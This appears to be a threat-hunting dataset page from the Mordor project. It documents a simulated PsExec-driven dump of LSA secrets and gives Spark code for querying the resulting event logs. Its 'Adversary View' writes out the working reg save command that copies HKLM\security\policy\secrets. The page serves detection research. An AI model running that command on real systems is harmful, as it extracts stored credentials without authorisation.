Psexec Reg LSA Secrets Dump¶
Metadata¶
Author |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/19 |
Modification Date |
2020/10/19 |
Tactics |
[‘TA0006’] |
Techniques |
[‘T1003.004’] |
Tags |
[‘art.55295ab0-a703-433b-9ca4-ae13807de12f’] |
Dataset Description¶
This dataset represents adversaries using psexec to run reg.exe as system and dump LSA secrets. Location HKLM\security\policy\secrets.
Datasets Downloads¶
Dataset Type |
Link |
---|---|
Host |
Adversary View¶
C:\Users\wardog\Downloads\PSTools>PsExec.exe -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
The operation completed successfully.
reg exited on WORKSTATION5 with error code 0.
C:\Users\wardog\Downloads\PSTools>
Explore Mordor Dataset¶
Initialize Analytics Engine¶
from openhunt.mordorutils import *
spark = get_spark()
Download & Process Mordor File¶
mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/cmd_psexec_lsa_secrets_dump.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable
Get to know your data¶
df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname |Channel |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7 |130 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10 |38 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13 |23 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12 |14 |
|WORKSTATION5|Security |4658 |8 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|18 |7 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|17 |7 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11 |7 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5 |4 |
|WORKSTATION5|Security |4690 |4 |
|WORKSTATION5|Security |4663 |4 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1 |4 |
|WORKSTATION5|Security |5156 |4 |
|WORKSTATION5|Security |4703 |4 |
|WORKSTATION5|Security |4688 |4 |
|WORKSTATION5|Security |4656 |4 |
|WORKSTATION5|Security |4689 |4 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9 |3 |
|WORKSTATION5|Security |5158 |3 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3 |2 |
+------------+------------------------------------+-------+-----+
only showing top 20 rows